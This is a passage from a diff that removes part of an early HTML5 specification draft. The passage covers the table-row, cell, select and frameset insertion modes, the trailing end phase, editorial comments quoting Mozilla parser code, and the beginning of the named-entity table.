-        <p><a href="#parse">Parse error</a>. Ignore the token.</p>
-
-       <dt>Anything else
-
-       <dd>
-        <p>Process the token as if the <a href="#insertion0">insertion
-         mode</a> was "<a href="#in-table" title="insertion mode: in
-         table">in table</a>".</p>
-      </dl>
-
-      <p>When the steps above require the UA to <dfn id=clear2>clear the
-       stack back to a table body context</dfn>, it means that the UA must,
-       while the <a href="#current3">current node</a> is not a <code><a
-       href="#tbody0">tbody</a></code>, <code><a
-       href="#tfoot1">tfoot</a></code>, <code><a
-       href="#thead1">thead</a></code>, or <code><a
-       href="#html0">html</a></code> element, pop elements from the <a
-       href="#stack">stack of open elements</a>. If this causes any elements
-       to be popped from the stack, then this is a <a href="#parse">parse
-       error</a>.</p>
-
-      <p class=note>The <a href="#current3">current node</a> being an
-       <code><a href="#html0">html</a></code> element after this process is
-       an <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>
-
-     <dt id=parsing-main-intr>If the <a href="#insertion0">insertion mode</a>
-      is "<dfn id=in-row title="insertion mode: in row">in row</dfn>"
-
-     <dd>
-      <dl class=switch>
-       <dt>A start tag whose tag name is one of: "th", "td"
-
-       <dd>
-        <p><a href="#clear3">Clear the stack back to a table row context</a>.
-         (See below.)</p>
-
-        <p><a href="#insert" title="insert an HTML element">Insert an HTML
-         element</a> for the token, then switch the <a
-         href="#insertion0">insertion mode</a> to "<a href="#in-cell"
-         title="insertion mode: in cell">in cell</a>".</p>
-
-        <p>Insert a marker at the end of the <a href="#list-of2">list of
-         active formatting elements</a>.</p>
-
-       <dt>An end tag whose tag name is "tr"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> does not <a
-         href="#have-an0" title="has an element in table scope">have an
-         element in table scope</a> with the same tag name as the token, this
-         is a <a href="#parse">parse error</a>. Ignore the token. (<a
-         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>
-
-        <p>Otherwise:</p>
-
-        <p><a href="#clear3">Clear the stack back to a table row context</a>.
-         (See below.)</p>
-
-        <p>Pop the <a href="#current3">current node</a> (which will be a
-         <code><a href="#tr0">tr</a></code> element) from the <a
-         href="#stack">stack of open elements</a>. Switch the <a
-         href="#insertion0">insertion mode</a> to "<a href="#in-table0"
-         title="insertion mode: in table body">in table body</a>".</p>
-
-       <dt>A start tag whose tag name is one of: "caption", "col",
-        "colgroup", "tbody", "tfoot", "thead", "tr"
-
-       <dt>An end tag whose tag name is "table"
-
-       <dd>
-        <p>Act as if an end tag with the tag name "tr" had been seen, then,
-         if that token wasn't ignored, reprocess the current token.</p>
-
-        <p class=note>The fake end tag token here can only be ignored in the
-         <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>
-
-       <dt>An end tag whose tag name is one of: "tbody", "tfoot", "thead"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> does not <a
-         href="#have-an0" title="has an element in table scope">have an
-         element in table scope</a> with the same tag name as the token, this
-         is a <a href="#parse">parse error</a>. Ignore the token.</p>
-
-        <p>Otherwise, act as if an end tag with the tag name "tr" had been
-         seen, then reprocess the current token.</p>
-
-       <dt>An end tag whose tag name is one of: "body", "caption", "col",
-        "colgroup", "html", "td", "th"
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Ignore the token.</p>
-
-       <dt>Anything else
-
-       <dd>
-        <p>Process the token as if the <a href="#insertion0">insertion
-         mode</a> was "<a href="#in-table" title="insertion mode: in
-         table">in table</a>".</p>
-      </dl>
-
-      <p>When the steps above require the UA to <dfn id=clear3>clear the
-       stack back to a table row context</dfn>, it means that the UA must,
-       while the <a href="#current3">current node</a> is not a <code><a
-       href="#tr0">tr</a></code> element or an <code><a
-       href="#html0">html</a></code> element, pop elements from the <a
-       href="#stack">stack of open elements</a>. If this causes any elements
-       to be popped from the stack, then this is a <a href="#parse">parse
-       error</a>.</p>
-
-      <p class=note>The <a href="#current3">current node</a> being an
-       <code><a href="#html0">html</a></code> element after this process is
-       an <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>
-
-     <dt id=parsing-main-intd>If the <a href="#insertion0">insertion mode</a>
-      is "<dfn id=in-cell title="insertion mode: in cell">in cell</dfn>"
-
-     <dd>
-      <dl class=switch>
-       <dt>An end tag whose tag name is one of: "td", "th"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> does not <a
-         href="#have-an0" title="has an element in table scope">have an
-         element in table scope</a> with the same tag name as that of the
-         token, then this is a <a href="#parse">parse error</a> and the token
-         must be ignored.</p>
-
-        <p>Otherwise:</p>
-
-        <p><a href="#generate">Generate implied end tags</a>, except for
-         elements with the same tag name as the token.</p>
-
-        <p>Now, if the <a href="#current3">current node</a> is not an element
-         with the same tag name as the token, then this is a <a
-         href="#parse">parse error</a>.</p>
-
-        <p>Pop elements from this stack until an element with the same tag
-         name as the token has been popped from the stack.</p>
-
-        <p><a href="#clear0">Clear the list of active formatting elements up
-         to the last marker</a>.</p>
-
-        <p>Switch the <a href="#insertion0">insertion mode</a> to "<a
-         href="#in-row" title="insertion mode: in row">in row</a>". (The <a
-         href="#current3">current node</a> will be a <code><a
-         href="#tr0">tr</a></code> element at this point.)</p>
-
-       <dt>A start tag whose tag name is one of: "caption", "col",
-        "colgroup", "tbody", "td", "tfoot", "th", "thead", "tr"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> does
-         <em>not</em> <a href="#have-an0" title="has an element in table
-         scope">have a <code>td</code> or <code>th</code> element in table
-         scope</a>, then this is a <a href="#parse">parse error</a>; ignore
-         the token. (<a href="#innerhtml1"><code>innerHTML</code> case</a>)</p>
-
-        <p>Otherwise, <a href="#close2">close the cell</a> (see below) and
-         reprocess the current token.</p>
-
-       <dt>An end tag whose tag name is one of: "body", "caption", "col",
-        "colgroup", "html"
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Ignore the token.</p>
-
-       <dt>An end tag whose tag name is one of: "table", "tbody", "tfoot",
-        "thead", "tr"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> does not <a
-         href="#have-an0" title="has an element in table scope">have an
-         element in table scope</a> with the same tag name as that of the
-         token (which can only happen for "tbody", "tfoot" and "thead", or,
-         in the <a href="#innerhtml1"><code>innerHTML</code> case</a>), then
-         this is a <a href="#parse">parse error</a> and the token must be
-         ignored.</p>
-
-        <p>Otherwise, <a href="#close2">close the cell</a> (see below) and
-         reprocess the current token.</p>
-
-       <dt>Anything else
-
-       <dd>
-        <p>Process the token as if the <a href="#insertion0">insertion
-         mode</a> was "<a href="#in-body" title="insertion mode: in body">in
-         body</a>".</p>
-      </dl>
-
-      <p>Where the steps above say to <dfn id=close2>close the cell</dfn>,
-       they mean to follow the following algorithm:</p>
-
-      <ol>
-       <li>
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an0" title="has an element in table scope">has a
-         <code>td</code> element in table scope</a>, then act as if an end
-         tag token with the tag name "td" had been seen.
-
-       <li>
-        <p>Otherwise, the <a href="#stack">stack of open elements</a> will <a
-         href="#have-an0" title="has an element in table scope">have a
-         <code>th</code> element in table scope</a>; act as if an end tag
-         token with the tag name "th" had been seen.
-      </ol>
-
-      <p class=note>The <a href="#stack">stack of open elements</a> cannot
-       have both a <code><a href="#td0">td</a></code> and a <code><a
-       href="#th0">th</a></code> element <a href="#have-an0" title="has an
-       element in table scope">in table scope</a> at the same time, nor can
-       it have neither when the <a href="#insertion0">insertion mode</a> is
-       "<a href="#in-cell" title="insertion mode: in cell">in cell</a>".</p>
-
-     <dt id=parsing-main-inselect>If the <a href="#insertion0">insertion
-      mode</a> is "<dfn id=in-select title="insertion mode: in select">in
-      select</dfn>"
-
-     <dd>
-      <p>Handle the token as follows:</p>
-
-      <dl class=switch>
-       <dt>A character token
-
-       <dd>
-        <p><a href="#append" title="append a character">Append the token's
-         character</a> to the <a href="#current3">current node</a>.</p>
-
-       <dt>A comment token
-
-       <dd>
-        <p>Append a <code>Comment</code> node to the <a
-         href="#current3">current node</a> with the <code
-         title="">data</code> attribute set to the data given in the comment
-         token.</p>
-
-       <dt>A start tag token whose tag name is "option"
-
-       <dd>
-        <p>If the <a href="#current3">current node</a> is an
-         <code>option</code> element, act as if an end tag with the tag name
-         "option" had been seen.</p>
-
-        <p><a href="#insert">Insert an HTML element</a> for the token.</p>
-
-       <dt>A start tag token whose tag name is "optgroup"
-
-       <dd>
-        <p>If the <a href="#current3">current node</a> is an
-         <code>option</code> element, act as if an end tag with the tag name
-         "option" had been seen.</p>
-
-        <p>If the <a href="#current3">current node</a> is an
-         <code>optgroup</code> element, act as if an end tag with the tag
-         name "optgroup" had been seen.</p>
-
-        <p><a href="#insert">Insert an HTML element</a> for the token.</p>
-
-       <dt>An end tag token whose tag name is "optgroup"
-
-       <dd>
-        <p>First, if the <a href="#current3">current node</a> is an
-         <code>option</code> element, and the node immediately before it in
-         the <a href="#stack">stack of open elements</a> is an
-         <code>optgroup</code> element, then act as if an end tag with the
-         tag name "option" had been seen.</p>
-
-        <p>If the <a href="#current3">current node</a> is an
-         <code>optgroup</code> element, then pop that node from the <a
-         href="#stack">stack of open elements</a>. Otherwise, this is a <a
-         href="#parse">parse error</a>, ignore the token.</p>
-
-       <dt>An end tag token whose tag name is "option"
-
-       <dd>
-        <p>If the <a href="#current3">current node</a> is an
-         <code>option</code> element, then pop that node from the <a
-         href="#stack">stack of open elements</a>. Otherwise, this is a <a
-         href="#parse">parse error</a>, ignore the token.</p>
-
-       <dt>An end tag whose tag name is "select"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> does not <a
-         href="#have-an0" title="has an element in table scope">have an
-         element in table scope</a> with the same tag name as the token, this
-         is a <a href="#parse">parse error</a>. Ignore the token. (<a
-         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>
-
-        <p>Otherwise:</p>
-
-        <p>Pop elements from the <a href="#stack">stack of open elements</a>
-         until a <code>select</code> element has been popped from the stack.</p>
-
-        <p><a href="#reset">Reset the insertion mode appropriately</a>.</p>
-
-       <dt>A start tag whose tag name is "select"
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Act as if the token had been an
-         end tag with the tag name "select" instead.</p>
-
-       <dt>An end tag whose tag name is one of: "caption", "table", "tbody",
-        "tfoot", "thead", "tr", "td", "th"
-
-       <dd>
-        <p><a href="#parse">Parse error</a>.</p>
-
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an0">has an element in table scope</a> with the same tag
-         name as that of the token, then act as if an end tag with the tag
-         name "select" had been seen, and reprocess the token. Otherwise,
-         ignore the token.</p>
-
-       <dt>Anything else
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Ignore the token.</p>
-      </dl>
-
-     <dt id=parsing-main-afterbody>If the <a href="#insertion0">insertion
-      mode</a> is "<dfn id=after2 title="insertion mode: after body">after
-      body</dfn>"
-
-     <dd>
-      <p>Handle the token as follows:</p>
-
-      <dl class=switch>
-       <dt>A character token that is one of one of U+0009 CHARACTER
-        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C
-        FORM FEED (FF), or U+0020 SPACE
-
-       <dd>
-        <p>Process the token as it would be processed if the <a
-         href="#insertion0">insertion mode</a> was "<a href="#in-body"
-         title="insertion mode: in body">in body</a>".</p>
-
-       <dt>A comment token
-
-       <dd>
-        <p>Append a <code>Comment</code> node to the first element in the <a
-         href="#stack">stack of open elements</a> (the <code><a
-         href="#html0">html</a></code> element), with the <code
-         title="">data</code> attribute set to the data given in the comment
-         token.</p>
-
-       <dt>An end tag with the tag name "html"
-
-       <dd>
-        <p>If the parser was originally created in order to handle the
-         setting of <em>an element</em>'s <code title=dom-innerHTML-HTML><a
-         href="#innerhtml0">innerHTML</a></code> attribute, this is a <a
-         href="#parse">parse error</a>; ignore the token. (The element will
-         be an <code><a href="#html0">html</a></code> element in this case.)
-         (<a href="#innerhtml1"><code>innerHTML</code> case</a>)</p>
-
-        <p>Otherwise, switch to <a href="#the-trailing1">the trailing end
-         phase</a>.</p>
-
-       <dt>Anything else
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Set the <a
-         href="#insertion0">insertion mode</a> to "<a href="#in-body"
-         title="insertion mode: in body">in body</a>" and reprocess the
-         token.</p>
-      </dl>
-
-     <dt id=parsing-main-inframeset>If the <a href="#insertion0">insertion
-      mode</a> is "<dfn id=in-frameset title="insertion mode: in frameset">in
-      frameset</dfn>"
-
-     <dd>
-      <p>Handle the token as follows:</p>
-
-      <dl class=switch>
-       <dt>A character token that is one of one of U+0009 CHARACTER
-        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C
-        FORM FEED (FF), or U+0020 SPACE
-
-       <dd>
-        <p><a href="#append" title="append a character">Append the
-         character</a> to the <a href="#current3">current node</a>.</p>
-
-       <dt>A comment token
-
-       <dd>
-        <p>Append a <code>Comment</code> node to the <a
-         href="#current3">current node</a> with the <code
-         title="">data</code> attribute set to the data given in the comment
-         token.</p>
-
-       <dt>A start tag with the tag name "frameset"
-
-       <dd>
-        <p><a href="#insert" title="Insert an HTML element">Insert a
-         <code>frameset</code> element</a> for the token.</p>
-
-       <dt>An end tag with the tag name "frameset"
-
-       <dd>
-        <p>If the <a href="#current3">current node</a> is the root <code><a
-         href="#html0">html</a></code> element, then this is a <a
-         href="#parse">parse error</a>; ignore the token. (<a
-         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>
-
-        <p>Otherwise, pop the <a href="#current3">current node</a> from the
-         <a href="#stack">stack of open elements</a>.</p>
-
-        <p>If the parser was <em>not</em> originally created in order to
-         handle the setting of an element's <code title=dom-innerHTML-HTML><a
-         href="#innerhtml0">innerHTML</a></code> attribute (<a
-         href="#innerhtml1"><code>innerHTML</code> case</a>), and the <a
-         href="#current3">current node</a> is no longer a
-         <code>frameset</code> element, then change the <a
-         href="#insertion0">insertion mode</a> to "<a href="#after3"
-         title="insertion mode: after frameset">after frameset</a>".</p>
-
-       <dt>A start tag with the tag name "frame"
-
-       <dd>
-        <p><a href="#insert">Insert an HTML element</a> for the token.
-         Immediately pop the <a href="#current3">current node</a> off the <a
-         href="#stack">stack of open elements</a>.</p>
-
-       <dt>A start tag with the tag name "noframes"
-
-       <dd>
-        <p>Process the token as if the <a href="#insertion0">insertion
-         mode</a> had been "<a href="#in-body" title="insertion mode: in
-         body">in body</a>".</p>
-
-       <dt>Anything else
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Ignore the token.</p>
-      </dl>
-
-     <dt id=parsing-main-afterframeset>If the <a href="#insertion0">insertion
-      mode</a> is "<dfn id=after3 title="insertion mode: after
-      frameset">after frameset</dfn>"
-
-     <dd>
-      <p>Handle the token as follows:</p>
-
-      <dl class=switch>
-       <dt>A character token that is one of one of U+0009 CHARACTER
-        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C
-        FORM FEED (FF), or U+0020 SPACE
-
-       <dd>
-        <p><a href="#append" title="append a character">Append the
-         character</a> to the <a href="#current3">current node</a>.</p>
-
-       <dt>A comment token
-
-       <dd>
-        <p>Append a <code>Comment</code> node to the <a
-         href="#current3">current node</a> with the <code
-         title="">data</code> attribute set to the data given in the comment
-         token.</p>
-
-       <dt>An end tag with the tag name "html"
-
-       <dd>
-        <p>Switch to <a href="#the-trailing1">the trailing end phase</a>.</p>
-
-       <dt>A start tag with the tag name "noframes"
-
-       <dd>
-        <p>Process the token as if the <a href="#insertion0">insertion
-         mode</a> had been "<a href="#in-body" title="insertion mode: in
-         body">in body</a>".</p>
-
-       <dt>Anything else
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Ignore the token.</p>
-      </dl>
-    </dl>
-  </dl>
-
-  <p class=big-issue>This doesn't handle UAs that don't support frames, or
-   that do support frames but want to show the NOFRAMES content. Supporting
-   the former is easy; supporting the latter is harder.
-
-  <h5 id=the-trailing><span class=secno>8.2.4.4. </span><dfn
-   id=the-trailing1>The trailing end phase</dfn></h5>
-
-  <p>After <a href="#the-main1">the main phase</a>, as each token is emitted
-   from the <a href="#tokenisation1">tokenisation</a> stage, it must be
-   processed as described in this section.
-
-  <dl class=switch>
-   <dt>A DOCTYPE token
-
-   <dd>
-    <p><a href="#parse">Parse error</a>. Ignore the token.</p>
-
-   <dt>A comment token
-
-   <dd>
-    <p>Append a <code>Comment</code> node to the <code>Document</code> object
-     with the <code title="">data</code> attribute set to the data given in
-     the comment token.</p>
-
-   <dt>A character token that is one of one of U+0009 CHARACTER TABULATION,
-    U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), or
-    U+0020 SPACE
-
-   <dd>
-    <p>Process the token as it would be processed in <a href="#the-main1">the
-     main phase</a>.</p>
-
-   <dt>A character token that is <em>not</em> one of U+0009 CHARACTER
-    TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM
-    FEED (FF), or U+0020 SPACE
-
-   <dt>A start tag token
-
-   <dt>An end tag token
-
-   <dd>
-    <p><a href="#parse">Parse error</a>. Switch back to <a
-     href="#the-main1">the main phase</a> and reprocess the token.</p>
-
-   <dt>An end-of-file token
-
-   <dd>
-    <p><a href="#stop-">Stop parsing</a>.</p>
-  </dl>
-
-  <p class=big-issue>Need to define the term <dfn id=stop->stop
-   parsing</dfn>. have to run all pending scripts (so document.write()s work)
-   and say something about the load event. Also need to execute any pending
-   loads of scripts in the "<a href="#list-of">list of scripts that will
-   execute when the document has finished parsing</a>".</p>
-  <!-- XXX
-  d.w() CHECK WHAT UAs DO!-->
-  <!--XXX need to handle
-http://lxr.mozilla.org/mozilla/source/parser/htmlparser/src/CNavDTD.cpp#2354
-2354           // Don't open transient styles if it makes the stack deep, bug 58917.
--->
-  <!--XXX
-need to handle <table border>, <div contenteditable>, etc. (shorthand attributes with implied values)
--->
-  <!--XXX
-define <script> in terms of insertion into the document, such that in
-this section we don't need to define it here, just note that definition
--->
-  <!--XXX
-http://lxr.mozilla.org/mozilla/source/parser/htmlparser/src/nsHTMLTokenizer.cpp#749
--->
-  <!--
-newlines:
-601             // result=aScanner.GetChar(aChar);       
-602             if(kLF==theNextChar) {
-603               // If the "\r" is followed by a "\n", don't replace it and 
-604               // let it be ignored by the layout system
-605               end.advance(2);
-606               result=aScanner.GetChar(theNextChar);
-607             }
-608             else {
-609               // If it standalone, replace the "\r" with a "\n" so that 
-610               // it will be considered by the layout system
-611               aScanner.ReplaceCharacter(end, kLF);
-612               ++end;
-613             }
-http://lxr.mozilla.org/mozilla/source/parser/htmlparser/src/nsHTMLTokens.cpp#601
-
-see also  CTextToken::ConsumeCharacterData()  for CDATA parsing?
-
-1212                      1  Here's a tricky case from bug 22596:  <h5><li><h5>
-1213                         How do we know that the 2nd <h5> should close the <LI> rather than nest inside the <LI>?
-1214                         (Afterall, the <h5> is a legal child of the <LI>).
-1215               
-1216                         The way you know is that there is no root between the two, so the <h5> binds more
-1217                         tightly to the 1st <h5> than to the <LI>.
-1218                      2.  Also, bug 6148 shows this case: <SPAN><DIV><SPAN>
-1219                         From this case we learned not to execute this logic if the parent is a block.
-1220                     
-1221                      3. Fix for 26583
-1222                         Ex. <A href=foo.html><B>foo<A href-bar.html>bar</A></B></A>  <- A legal HTML
-1223                         In the above example clicking on "foo" or "bar" should link to
-1224                         foo.html or bar.html respectively. That is, the inner <A> should be informed
-1225                         about the presence of an open <A> above <B>..so that the inner <A> can close out
-1226                         the outer <A>. The following code does it for us.
-1227                      
-1228                      4. Fix for 27865 [ similer to 22596 ]. Ex: <DL><DD><LI>one<DD><LI>two
- - http://lxr.mozilla.org/mozilla/source/parser/htmlparser/src/CNavDTD.cpp#1211
-
-815             // Here's a problem.  If theTag is legal in here, we don't move it
-816             // out.  So if we're moving stuff out of here, the parent of theTag
-817             // gets closed at this point.  But some things are legal
-818             // _everywhere_ and hence would effectively close out misplaced
-819             // content in tables.  This is undesirable, so treat them as
-820             // illegal here so they'll be shipped out with their parents and
-821             // siblings.  See bug 40855 for an explanation (that bug was for
-822             // comments, but the same issues arise with whitespace, newlines,
-823             // noscript, etc).  Script is special, though.  Shipping it out
-824             // breaks document.write stuff.  See bug 243064.
- - http://lxr.mozilla.org/mozilla/source/parser/htmlparser/src/CNavDTD.cpp#825
-
-
-1326     /**************************************************************************************
-1327      *
-1328      * Now a little code to deal with bug #49687 (crash when layout stack gets too deep)
-1329      * I've also opened this up to any container (not just inlines): re bug 55095
-1330      * Improved to handle bug 55980 (infinite loop caused when DEPTH is exceeded and
-1331      * </P> is encountered by itself (<P>) is continuously produced.
-1332      *
-1333      **************************************************************************************/
-
-1912               // Oh boy!! we found a "stray" tag. Nav4.x and IE introduce line break in
-1913               // such cases. So, let's simulate that effect for compatibility.
-1914               // Ex. <html><body>Hello</P>There</body></html>
-http://lxr.mozilla.org/mozilla/source/parser/htmlparser/src/CNavDTD.cpp#1912
-
-http://lxr.mozilla.org/seamonkey/search?string=nested
-/parser/htmlparser/src/CNavDTD.cpp, line 791 - * 2. <CENTER><DL><DT><A><CENTER> allow nested <CENTER>
-/parser/htmlparser/src/CNavDTD.cpp, line 792 - * 3. <TABLE><TR><TD><TABLE>... allow nested <TABLE>
-/parser/htmlparser/src/CNavDTD.cpp, line 2562 - // Discard nested forms - bug 72639
-/parser/htmlparser/src/nsElementTable.cpp, line 1453 - * 2. <CENTER><DL><DT><A><CENTER> allow nested <CENTER>
-/parser/htmlparser/src/nsElementTable.cpp, line 1454 - * 3. <TABLE><TR><TD><TABLE>... allow nested <TABLE>
-/parser/htmlparser/src/nsElementTable.cpp, line 1901 - // Ex: <H1><LI><H1><LI>. Inner LI has the potential of getting nested
--->
-
-  <h3 id=namespaces><span class=secno>8.3. </span>Namespaces</h3>
-
-  <p>The <dfn id=html-namespace0>HTML namespace</dfn> is:
-   <code>http://www.w3.org/1999/xhtml</code>
-
-  <h3 id=entities><span class=secno>8.4. </span><dfn
-   id=entities1>Entities</dfn></h3>
-
-  <p>This table lists the entity names that are supported by HTML, and the
-   code points to which they refer. It is referenced by the previous
-   sections.</p>
-  <!--XXX
- entities: 
- 94         // If an entity value is greater than 255 then:
- 95         // Nav 4.x does not treat it as an entity,
- 96         // IE treats it as an entity if terminated with a semicolon.
- 97         // Resembling IE!!
-http://lxr.mozilla.org/mozilla/source/parser/htmlparser/src/nsHTMLTokens.cpp#94
--->
-
-  <table>
-   <thead>
-    <tr>
-     <th> Entity Name
-
-     <th> Character
-
-   <tbody>
-    <tr>
-     <td> <code title="">AElig</code>
-
-     <td> U+00C6
-
-    <tr>
-     <td> <code title="">Aacute</code>
-
-     <td> U+00C1
-
-    <tr>
-     <td> <code title="">Acirc</code>
-
-     <td> U+00C2
-
-    <tr>
-     <td> <code title="">Agrave</code>
-
-     <td> U+00C0
-
-    <tr>
-     <td> <code title="">Alpha</code>
-
-     <td> U+0391
-
-    <tr>
-     <td> <code title="">Aring</code>
-
-     <td> U+00C5
-
-    <tr>
-     <td> <code title="">Atilde</code>
-
-     <td> U+00C3
-
-    <tr>
-     <td> <code title="">Auml</code>
-
-     <td> U+00C4
-
-    <tr>
-     <td> <code title="">Beta</code>
-
-     <td> U+0392
-
-    <tr>
-     <td> <code title="">Ccedil</code>
-
-     <td> U+00C7
-
-    <tr>
-     <td> <code title="">Chi</code>
-
-     <td> U+03A7
-
-    <tr>
-     <td> <code title="">Dagger</code>
-
-     <td> U+2021
-
-    <tr>
-     <td> <code title="">Delta</code>
-
-     <td> U+0394
-
-    <tr>
-     <td> <code title="">ETH</code>
-
-     <td> U+00D0
-
-    <tr>
-     <td> <code title="">Eacute</code>
-
-     <td> U+00C9
-
-    <tr>
-     <td> <code title="">Ecirc</code>
-
-     <td> U+00CA
-
-    <tr>
-     <td> <code title="">Egrave</code>
-
-     <td> U+00C8
-
-    <tr>
-     <td> <code title="">Epsilon</code>
-
-     <td> U+0395
-
-    <tr>
-     <td> <code title="">Eta</code>
-
-     <td> U+0397
-
-    <tr>
-     <td> <code title="">Euml</code>
-
-     <td> U+00CB
-
-    <tr>
-     <td> <code title="">Gamma</code>
-
-     <td> U+0393
-
-    <tr>
-     <td> <code title="">Iacute</code>
-
-     <td> U+00CD
-
-    <tr>
-     <td> <code title="">Icirc</code>
-
-     <td> U+00CE
-
-    <tr>
-     <td> <code title="">Igrave</code>
-
-     <td> U+00CC
-
-    <tr>
-     <td> <code title="">Iota</code>
-
-     <td> U+0399
-
-    <tr>
-     <td> <code title="">Iuml</code>
-
-     <td> U+00CF
-
-    <tr>
-     <td> <code title="">Kappa</code>
-
-     <td> U+039A
-
-    <tr>
-     <td> <code title="">Lambda</code>
-
-     <td> U+039B
-
-    <tr>
-     <td> <code title="">Mu</code>
-
-     <td> U+039C
-
-    <tr>
-     <td> <code title="">Ntilde</code>
-
-     <td> U+00D1
-
-    <tr>
-     <td> <code title="">Nu</code>
-
-     <td> U+039D
-
-    <tr>
-     <td> <code title="">OElig</code>
-
-     <td> U+0152
-
-    <tr>
-     <td> <code title="">Oacute</code>
-
-     <td> U+00D3
-
-    <tr>
-     <td> <code title="">Ocirc</code>
-
-     <td> U+00D4
-
-    <tr>
-     <td> <code title="">Ograve</code>
-
-     <td> U+00D2
-
-    <tr>
-     <td> <code title="">Omega</code>
-
-     <td> U+03A9
-
-    <tr>
-     <td> <code title="">Omicron</code>
-
-     <td> U+039F
-
-    <tr>
-     <td> <code title="">Oslash</code>
-
-     <td> U+00D8
-
-    <tr>
-     <td> <code title="">Otilde</code>
-
-     <td> U+00D5
-
-    <tr>
-     <td> <code title="">Ouml</code>
-
-     <td> U+00D6
-
-    <tr>
-     <td> <code title="">Phi</code>
-
-     <td> U+03A6
-
-    <tr>
-     <td> <code title="">Pi</code>
-
-     <td> U+03A0
-
-    <tr>
-     <td> <code title="">Prime</code>
-
-     <td> U+2033
-
-    <tr>
-     <td> <code title="">Psi</code>
-
-     <td> U+03A8
-
-    <tr>
-     <td> <code title="">Rho</code>
-
-     <td> U+03A1
-
-    <tr>
-     <td> <code title="">Scaron</code>
-
-     <td> U+0160
-
-    <tr>
-     <td> <code title="">Sigma</code>
-
-     <td> U+03A3
-
-    <tr>
-     <td> <code title="">THORN</code>
-
-     <td> U+00DE
-
-    <tr>
-     <td> <code title="">Tau</code>
-
-     <td> U+03A4
-
-    <tr>
-     <td> <code title="">Theta</code>
-
-     <td> U+0398
-
-    <tr>
-     <td> <code title="">Uacute</code>
-
-     <td> U+00DA
-
-    <tr>
-     <td> <code title="">Ucirc</code>
-
-     <td> U+00DB
-
-    <tr>
-     <td> <code title="">Ugrave</code>
-
-     <td> U+00D9
-
-    <tr>
-     <td> <code title="">Upsilon</code>
-
-     <td> U+03A5
-
-    <tr>
-     <td> <code title="">Uuml</code>
-
-     <td> U+00DC
-
-    <tr>
-     <td> <code title="">Xi</code>
-
-     <td> U+039E
-
-    <tr>
-     <td> <code title="">Yacute</code>
-
-     <td> U+00DD
-
-    <tr>
-     <td> <code title="">Yuml</code>
-
-     <td> U+0178
-
-    <tr>
-     <td> <code title="">Zeta</code>
-
-     <td> U+0396
-
-    <tr>
-     <td> <code title="">aacute</code>
-
-     <td> U+00E1
-
-    <tr>
-     <td> <code title="">acirc</code>
-
-     <td> U+00E2
-
-    <tr>
-     <td> <code title="">acute</code>
-
-     <td> U+00B4
-
-    <tr>
-     <td> <code title="">aelig</code>
-
-     <td> U+00E6
-
-    <tr>
-     <td> <code title="">agrave</code>
-
-     <td> U+00E0
-
-    <tr>
-     <td> <code title="">alefsym</code>
-
-     <td> U+2135
-
-    <tr>
-     <td> <code title="">alpha</code>
-
-     <td> U+03B1
-
-    <tr>
-     <td> <code title="">amp</code>
-
-     <td> U+0026
-
-    <tr>
-     <td> <code title="">AMP</code>
-
-     <td> U+0026
-
-    <tr>
-     <td> <code title="">and</code>
-
-     <td> U+2227
-
-    <tr>
-     <td> <code title="">ang</code>
-
-     <td> U+2220
-
-    <tr>
-     <td> <code title="">apos</code>
-
-     <td> U+0027
-
-    <tr>
-     <td> <code title="">aring</code>
-
-     <td> U+00E5
-
-    <tr>
-     <td> <code title="">asymp</code>
-
-     <td> U+2248
-
-    <tr>
-     <td> <code title="">atilde</code>
-
-     <td> U+00E3
-
-    <tr>
-     <td> <code title="">auml</code>
-
-     <td> U+00E4
-
-    <tr>
-     <td> <code title="">bdquo</code>
-
-     <td> U+201E
-
-    <tr>
-     <td> <code title="">beta</code>
-
-     <td> U+03B2
-
-    <tr>
-     <td> <code title="">brvbar</code>
-
-     <td> U+00A6
-
-    <tr>
-     <td> <code title="">bull</code>
-
-     <td> U+2022
-
-    <tr>
-     <td> <code title="">cap</code>
-
-     <td> U+2229
-
-    <tr>
-     <td> <code title="">ccedil</code>
-
-     <td> U+00E7
-
-    <tr>
-     <td> <code title="">cedil</code>
-
-     <td> U+00B8
-
-    <tr>
-     <td> <code title="">cent</code>
-
-     <td> U+00A2
-
-    <tr>
-     <td> <code title="">chi</code>
-
-     <td> U+03C7
-
-    <tr>
-     <td> <code title="">circ</code>
-
-     <td> U+02C6
-
-    <tr>
-     <td> <code title="">clubs</code>
-
-     <td> U+2663
-
-    <tr>
-     <td> <code title="">cong</code>
-
-     <td> U+2245
-
-    <tr>
-     <td> <code title="">copy</code>
-
-     <td> U+00A9
-
-    <tr>
-     <td> <code title="">COPY</code>
-
-     <td> U+00A9
-
-    <tr>
-     <td> <code title="">crarr</code>
-
-     <td> U+21B5
-
-    <tr>
-     <td> <code title="">cup</code>
-
-     <td> U+222A
-
-    <tr>
-     <td> <code title="">curren</code>
-
-     <td> U+00A4
-
-    <tr>
-     <td> <code title="">dArr</code>
-
-     <td> U+21D3
-
-    <tr>
-     <td> <code title="">dagger</code>
-
-     <td> U+2020
-
-    <tr>
-     <td> <code title="">darr</code>
-
-     <td> U+2193
-
-    <tr>
-     <td> <code title="">deg</code>
